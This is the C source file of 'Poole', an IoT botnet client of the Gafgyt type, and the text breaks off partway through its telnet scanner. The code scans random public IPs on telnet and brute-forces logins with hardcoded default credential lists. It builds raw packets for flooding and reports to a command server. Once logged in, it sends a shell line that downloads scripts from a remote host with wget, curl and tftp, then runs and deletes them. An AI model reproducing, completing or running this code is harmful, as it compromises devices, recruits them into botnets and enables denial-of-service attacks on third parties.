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Poole-client.c
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Poole-client.c
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/*
|-----------------------------------------------------------------------|
_______ __
| \ | \
| $$$$$$$\ ______ ______ | $$ ______
| $$__/ $$ / \ / \ | $$ / \
| $$ $$| $$$$$$\| $$$$$$\| $$| $$$$$$\
| $$$$$$$ | $$ | $$| $$ | $$| $$| $$ $$
| $$ | $$__/ $$| $$__/ $$| $$| $$$$$$$$
| $$ \$$ $$ \$$ $$| $$ \$$ \
\$$ \$$$$$$ \$$$$$$ \$$ \$$$$$$$
[v1] "Poole"
|-----------------------------------------------------------------------|
___ _ _ _
/ __\ (_) ___ _ __ | |_ ___
/ / | | |/ _ \ '_ \| __| / __|
/ /___| | | __/ | | | |_ _ | (__
\____/|_|_|\___|_| |_|\__(_) \___|
|-----------------------------------------------------------------------|
Compile with cc7, NSA-edited, or comp.sh
|-----------------------------------------------------------------------|
| Any problems or need help? message me via Twitter: |
| http://twitter.com/codingplanets |
|-----------------------------------------------------------------------|
*/
#define PR_SET_NAME 15
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
// _____ _ _
// \_ \_ __ ___| |_ _ __| | ___ ___
// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <strings.h>
#include <string.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
unsigned char *commServer[] =
{
"0.0.0.0:666"
};
int initConnection();
int getBogos(unsigned char *bogomips);
int getCores();
int getCountry(unsigned char *buf, int bufsize);
void makeRandomStr(unsigned char *buf, int length);
int sockprintf(int sock, char *formatStr, ...);
char *inet_ntoa(struct in_addr in);
int mainCommSock = 0, currentServer = -1, gotIP = 0;
uint32_t *pids;
uint32_t scanPid;
uint64_t numpids = 0;
struct in_addr ourIP;
unsigned char macAddress[6] = {0};
char *usernames[] = {"root\0", "admin\0", "guest\0", "telnet\0", "pi\0", "cisco\0", "netgear\0", "oracle\0", "support\0","cusadmin\0"};
char *passwords[] = {"root\0", "guest\0", "1234\0", "telnet\0", "raspberry\0", "\0", "cisco\0", "netgear\0", "oracle\0", "support\0", "password\0", "alpine\0","maxided\0"};
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
void trim(char *str)
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static void printchar(unsigned char **str, int c)
{
if (str) {
**str = c;
++(*str);
}
else (void)write(1, &c, 1);
}
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register const unsigned char *ptr;
for (ptr = string; *ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
}
for ( ; *string ; ++string) {
printchar (out, *string);
++pc;
}
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
return pc;
}
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints (out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN-1;
*s = '\0';
while (u) {
t = u % b;
if( t >= 10 )
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg) {
if( width && (pad & PAD_ZERO) ) {
printchar (out, '-');
++pc;
--width;
}
else {
*--s = '-';
}
}
return pc + prints (out, s, width, pad);
}
static int print(unsigned char **out, const unsigned char *format, va_list args )
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for ( ; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if( *format == 's' ) {
register char *s = (char *)va_arg( args, int );
pc += prints (out, s?s:"(null)", width, pad);
continue;
}
if( *format == 'd' ) {
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
continue;
}
if( *format == 'x' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
continue;
}
if( *format == 'X' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
continue;
}
if( *format == 'u' ) {
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
continue;
}
if( *format == 'c' ) {
scr[0] = (unsigned char)va_arg( args, int );
scr[1] = '\0';
pc += prints (out, scr, width, pad);
continue;
}
}
else {
out:
printchar (out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end( args );
return pc;
}
int zprintf(const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( 0, format, args );
}
int szprintf(unsigned char *out, const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( &out, format, args );
}
int sockprintf(int sock, char *formatStr, ...)
{
unsigned char *textBuffer = malloc(2048);
memset(textBuffer, 0, 2048);
char *orig = textBuffer;
va_list args;
va_start(args, formatStr);
print(&textBuffer, formatStr, args);
va_end(args);
orig[strlen(orig)] = '\n';
zprintf("buf: %s\n", orig);
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
free(orig);
return q;
}
static int *fdopen_pids;
int fdpopen(unsigned char *program, register unsigned char *type)
{
register int iop;
int pdes[2], fds, pid;
if (*type != 'r' && *type != 'w' || type[1]) return -1;
if (pipe(pdes) < 0) return -1;
if (fdopen_pids == NULL) {
if ((fds = getdtablesize()) <= 0) return -1;
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
}
switch (pid = vfork())
{
case -1:
close(pdes[0]);
close(pdes[1]);
return -1;
case 0:
if (*type == 'r') {
if (pdes[1] != 1) {
dup2(pdes[1], 1);
close(pdes[1]);
}
close(pdes[0]);
} else {
if (pdes[0] != 0) {
(void) dup2(pdes[0], 0);
(void) close(pdes[0]);
}
(void) close(pdes[1]);
}
execl("/bin/sh", "sh", "-c", program, NULL);
_exit(127);
}
if (*type == 'r') {
iop = pdes[0];
(void) close(pdes[1]);
} else {
iop = pdes[1];
(void) close(pdes[0]);
}
fdopen_pids[iop] = pid;
return (iop);
}
int fdpclose(int iop)
{
register int fdes;
sigset_t omask, nmask;
int pstat;
register int pid;
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
(void) close(iop);
sigemptyset(&nmask);
sigaddset(&nmask, SIGINT);
sigaddset(&nmask, SIGQUIT);
sigaddset(&nmask, SIGHUP);
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
do {
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
} while (pid == -1 && errno == EINTR);
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
fdopen_pids[fdes] = 0;
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
}
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
{
int got = 1, total = 0;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got == 0 ? NULL : buffer;
}
static const long hextable[] = {
[0 ... 255] = -1,
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
['A'] = 10, 11, 12, 13, 14, 15,
['a'] = 10, 11, 12, 13, 14, 15
};
long parseHex(unsigned char *hex)
{
long ret = 0;
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
return ret;
}
int wildString(const unsigned char* pattern, const unsigned char* string) {
switch(*pattern)
{
case '\0': return *string;
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
case '?': return !(*string && !wildString(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
}
}
int getHost(unsigned char *toGet, struct in_addr *i)
{
struct hostent *h;
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
return 0;
}
void uppercase(unsigned char *str)
{
while(*str) { *str = toupper(*str); str++; }
}
int getBogos(unsigned char *bogomips)
{
int cmdline = open("/proc/cpuinfo", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
uppercase(linebuf);
if(strstr(linebuf, "BOGOMIPS") == linebuf)
{
unsigned char *pos = linebuf + 8;
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
strcpy(bogomips, pos);
close(cmdline);
return 0;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
return 1;
}
int getCores()
{
int totalcores = 0;
int cmdline = open("/proc/cpuinfo", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
uppercase(linebuf);
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
memset(linebuf, 0, 4096);
}
close(cmdline);
return totalcores;
}
void makeRandomStr(unsigned char *buf, int length)
{
int i = 0;
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
}
int recvLine(int socket, unsigned char *buf, int bufsize)
{
memset(buf, 0, bufsize);
fd_set myset;
struct timeval tv;
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
int selectRtn, retryCount;
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
while(retryCount < 10)
{
sockprintf(mainCommSock, "PING");
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
retryCount++;
continue;
}
break;
}
}
unsigned char tmpchr;
unsigned char *cp;
int count = 0;
cp = buf;
while(bufsize-- > 1)
{
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
*cp = 0x00;
return -1;
}
*cp++ = tmpchr;
if(tmpchr == '\n') break;
count++;
}
*cp = 0x00;
// zprintf("recv: %s\n", cp);
return count;
}
int connectTimeout(int fd, char *host, int port, int timeout)
{
struct sockaddr_in dest_addr;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
long arg = fcntl(fd, F_GETFL, NULL);
arg |= O_NONBLOCK;
fcntl(fd, F_SETFL, arg);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(host, &dest_addr.sin_addr)) return 0;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (res < 0) {
if (errno == EINPROGRESS) {
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
lon = sizeof(int);
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if (valopt) return 0;
}
else return 0;
}
else return 0;
}
arg = fcntl(fd, F_GETFL, NULL);
arg &= (~O_NONBLOCK);
fcntl(fd, F_SETFL, arg);
return 1;
}
int listFork()
{
uint32_t parent, *newpids, i;
parent = fork();
if (parent <= 0) return parent;
numpids++;
newpids = (uint32_t*)malloc((numpids + 1) * 4);
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
newpids[numpids - 1] = parent;
free(pids);
pids = newpids;
return parent;
}
int negotiate(int sock, unsigned char *buf, int len)
{
unsigned char c;
switch (buf[1]) {
case CMD_IAC: return 0;
case CMD_WILL:
case CMD_WONT:
case CMD_DO:
case CMD_DONT:
c = CMD_IAC;
send(sock, &c, 1, MSG_NOSIGNAL);
if (CMD_WONT == buf[1]) c = CMD_DONT;
else if (CMD_DONT == buf[1]) c = CMD_WONT;
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
send(sock, &c, 1, MSG_NOSIGNAL);
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
break;
default:
break;
}
return 0;
}
int matchPrompt(char *bufStr)
{
char *prompts = ":>%$#\0";
int bufLen = strlen(bufStr);
int i, q = 0;
for(i = 0; i < strlen(prompts); i++)
{
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
}
return 0;
}
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
{
int bufferUsed = initialIndex, got = 0, found = 0;
fd_set myset;
struct timeval tv;
tv.tv_sec = timeout;
tv.tv_usec = timeoutusec;
unsigned char *initialRead = NULL;
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
{
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
initialRead = buffer + bufferUsed;
got = recv(fd, initialRead, 1, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(*initialRead == 0xFF)
{
got = recv(fd, initialRead + 1, 2, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(!negotiate(fd, initialRead, 3)) return 0;
} else {
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
}
}
if(found) return 1;
return 0;
}
static uint8_t ipState[5];
in_addr_t getRandomPublicIP()
{
ipState[1] = 0;
ipState[2] = 0;
ipState[3] = 0;
ipState[4] = 0;
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
ipState[4] = rand() % 255;
char ip[16];
int randnum = rand() % 5;
if(randnum == 0)
{
szprintf(ip, "119.93.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 1)
{
szprintf(ip, "125.27.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 2)
{
szprintf(ip, "180.180.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 3)
{
szprintf(ip, "119.92.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 4)
{
szprintf(ip, "119.91.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 5)
{
szprintf(ip, "113.53.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 6)
{
szprintf(ip, "125.25.%d.%d", ipState[3], ipState[4]);
}
if(randnum == 7)
{
szprintf(ip, "125.26.%d.%d", ipState[3], ipState[4]);
}
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
return inet_addr(ip);
}
in_addr_t getRandomIP(in_addr_t netmask)
{
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
return tmp ^ ( rand_cmwc() & ~netmask);
}
unsigned short csum (unsigned short *buf, int count)
{
register uint64_t sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (uint16_t)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
{
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
int sclose(int fd)
{
if(3 > fd) return 1;
close(fd);
return 0;
}
void TelnetScan(char *ip)
{
int max = (getdtablesize() / 4) * 3, i, res;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
max = max > 512 ? 512 : max;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct telstate_t
{
int fd;
uint32_t ip;
uint8_t state;
uint8_t complete;
uint8_t usernameInd;
uint8_t passwordInd;
uint32_t totalTimeout;
uint16_t bufUsed;
char *sockbuf;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
struct timeval timeout;
timeout.tv_sec = 5;
timeout.tv_usec = 0;
while(1)
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
memset(fds[i].sockbuf, 0, 1024);
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
else {
fds[i].passwordInd++;
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
dest_addr.sin_addr.s_addr = fds[i].ip;
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
if(fds[i].fd == -1) { continue; }
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
}
break;
case 1:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
valopt = 0;
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
} else {
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 2;
continue;
}
} else if(res == -1)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
if(fds[i].totalTimeout + 8 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 2:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(matchPrompt(fds[i].sockbuf)) {
fds[i].state = 7;
}
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 3;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 8 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 3:
{
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 4;
}
break;
case 4:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
else fds[i].state = 7;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 8 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 5:
{
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 6;
}
break;
case 6:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
else fds[i].state = 7;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 8 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 7:
{
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 8;
}
break;
case 8:
{
if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 9;
}
break;
case 9:
{
if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; wget http://0.0.0.0/gtop.sh || curl -O http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh;exit\r\n", 339, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 10;
}
case 10:
{
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 55, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 11;
}
case 11:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;